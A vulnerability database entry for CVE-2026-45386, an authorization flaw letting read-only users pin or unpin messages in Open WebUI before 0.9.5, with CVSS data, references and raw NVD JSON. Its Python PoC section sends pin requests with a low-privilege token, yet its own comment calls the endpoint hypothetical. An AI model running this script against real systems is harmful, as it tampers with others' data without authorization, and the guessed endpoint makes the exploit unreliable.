CVE-2026-45386

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message. This vulnerability is fixed in 0.9.5.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url, token, message_id):
    """
    PoC for CVE-2026-45386: Pin/Unpin message via low-privilege account.
    """
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    # Endpoint to pin a message (hypothetical based on description)
    url = f"{target_url}/api/v1/chats/{message_id}/pin"
    
    try:
        response = requests.post(url, headers=headers)
        if response.status_code == 200:
            print("[+] Exploit successful: Message pinned.")
            return True
        else:
            print(f"[-] Failed: Status code {response.status_code}")
            return False
    except Exception as e:
        print(f"[!] Error: {e}")
        return False

# Usage
# exploit("http://localhost:3000", "READ_ONLY_USER_TOKEN", "12345")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45386
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45386
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45386/
[4] VulDB https://vuldb.com/cve/CVE-2026-45386
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-5gc6-xhv4-2wg6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45386", "sourceIdentifier": "[email protected]", "published": "2026-05-15T21:16:37.043", "lastModified": "2026-05-15T21:16:37.043", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message. This vulnerability is fixed in 0.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-5gc6-xhv4-2wg6", "source": "[email protected]"}]}}